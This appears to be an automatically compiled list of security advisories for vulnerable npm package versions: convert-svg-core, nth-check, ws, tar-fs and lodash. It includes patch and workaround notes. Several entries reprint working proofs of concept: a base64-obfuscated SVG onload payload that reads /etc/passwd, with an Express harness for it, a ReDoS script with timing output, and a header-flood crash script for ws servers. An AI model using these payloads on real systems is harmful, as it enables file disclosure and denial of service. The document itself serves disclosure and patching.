All the vulnerabilities related to the version 0.6.0 of the package

Summary:

convert-svg-core vulnerable to remote code injection

Details:

The package convert-svg-core before 0.6.2 is vulnerable to Remote Code Injection via sending an SVG file containing the payload in an onload attribute. Puppeteer/Chromium (used by convert-svg-core) will execute any code within that tag, including malicious code.

PoC

Payload

<svg onload=eval(atob(this.id)) id='ZG9jdW1lbnQud3JpdGUoJzxzdmctZHVtbXk+PC9zdmctZHVtbXk+PGlmcmFtZSBzcmM9ImZpbGU6Ly8vZXRjL3Bhc3N3ZCIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwMHB4Ij48L2lmcmFtZT48c3ZnIHZpZXdCb3g9IjAgMCAyNDAgODAiIGhlaWdodD0iMTAwMCIgd2lkdGg9IjEwMDAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PHRleHQgeD0iMCIgeT0iMCIgY2xhc3M9IlJycnJyIiBpZD0iZGVtbyI+ZGF0YTwvdGV4dD48L3N2Zz4nKTs='></svg>

where the id attribute is the base 64-encoded form of

document.write('<svg-dummy></svg-dummy><iframe src="file:///etc/passwd" width="100%" height="1000px"></iframe><svg viewBox="0 0 240 80" height="1000" width="1000" xmlns="http://www.w3.org/2000/svg"><text x="0" y="0" class="Rrrrr" id="demo">data</text></svg>');

Attack

const { convert } = require('convert-svg-to-png');
const express = require('express');
const fileSvg = `[[[payload]]]`;
// YWxlcnQoMSk=
// function newContent(){document.open(),document.write('<text x=\"0\" y=\"0\" class=\"Rrrrr\" id=\"demo\">data</text>'),document.close()}
const app = express();
app.get('/poc', async (req, res)=>{
  try {
    const png = await convert(fileSvg);
    res.set('Content-Type', 'image/png');
    res.send(png);
  } catch (e) {
      console.log(e);
    res.send("");
  }
});
app.listen(3000, ()=>{
  console.log('started');
});

Details about convert-svg-core@0.6.0

Summary:

Code injection via SVG file in convert-svg-core

Details:

The package convert-svg-core before 0.6.3 are vulnerable to Arbitrary Code Injection when using a specially crafted SVG file. An attacker can read arbitrary files from the file system and then show the file content as a converted PNG file.

Details about convert-svg-core@0.6.0

Summary:

Directory traversal in convert-svg-core

Details:

The package convert-svg-core before 0.6.4 is vulnerable to Directory Traversal due to improper sanitization of SVG tags. Exploiting this vulnerability is possible by using a specially crafted SVG file.

Details about convert-svg-core@0.6.0

Summary:

Inefficient Regular Expression Complexity in nth-check

Details:

There is a Regular Expression Denial of Service (ReDoS) vulnerability in nth-check that causes a denial of service when parsing crafted invalid CSS nth-checks.

The ReDoS vulnerabilities of the regex are mainly due to the sub-pattern \s*(?:([+-]?)\s*(\d+))? with quantified overlapping adjacency and can be exploited with the following code.

Proof of Concept

// PoC.js
var nthCheck = require("nth-check")
for(var i = 1; i <= 50000; i++) {
    var time = Date.now();
    var attack_str = '2n' + ' '.repeat(i*10000)+"!";
    try {
        nthCheck.parse(attack_str) 
    }
    catch(err) {
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
    }
}

The Output

attack_str.length: 10003: 174 ms
attack_str.length: 20003: 1427 ms
attack_str.length: 30003: 2602 ms
attack_str.length: 40003: 4378 ms
attack_str.length: 50003: 7473 ms

Details about nth-check@1.0.2

Summary:

ws affected by a DoS when handling a request with many HTTP headers

Details:

Impact

A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server.

Proof of concept

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});

Patches

The vulnerability was fixed in ws@8.17.1 (https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c) and backported to ws@7.5.10 (https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f), ws@6.2.3 (https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63), and ws@5.2.4 (https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e)

Workarounds

In vulnerable versions of ws, the issue can be mitigated in the following ways:

Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.
Set server.maxHeadersCount to 0 so that no limit is applied.

Summary:

tar-fs Vulnerable to Link Following and Path Traversal via Extracting a Crafted tar File

Details:

An Improper Link Resolution Before File Access ("Link Following") and Improper Limitation of a Pathname to a Restricted Directory ("Path Traversal"). This vulnerability occurs when extracting a maliciously crafted tar file, which can result in unauthorized file writes or overwrites outside the intended extraction directory. The issue is associated with index.js in the tar-fs package.

This issue affects tar-fs: from 0.0.0 before 1.16.4, from 2.0.0 before 2.1.2, from 3.0.0 before 3.0.7.

Details about tar-fs@2.1.1

Summary:

tar-fs can extract outside the specified dir with a specific tarball

Details:

Impact

v3.0.8, v2.1.2, v1.16.4 and below

Patches

Has been patched in 3.0.9, 2.1.3, and 1.16.5

Workarounds

You can use the ignore option to ignore non files/directories.

  ignore (_, header) {
    // pass files & directories, ignore e.g. symlinks
    return header.type !== 'file' && header.type !== 'directory'
  }

Details:

Impact

v3.1.0, v2.1.3, v1.16.5 and below

Patches

Has been patched in 3.1.1, 2.1.4, and 1.16.6

Workarounds

You can use the ignore option to ignore non files/directories.

Details about tar-fs@2.1.1

Summary:

Prototype Pollution in lodash

Details:

Versions of lodash prior to 4.17.19 are vulnerable to Prototype Pollution. The functions pick, set, setWith, update, updateWith, and zipObjectDeep allow a malicious user to modify the prototype of Object if the property identifiers are user-supplied. Being affected by this issue requires manipulating objects based on user-provided property values or arrays.

This vulnerability causes the addition or modification of an existing property that will exist on all objects and may lead to Denial of Service or Code Execution under specific circumstances.
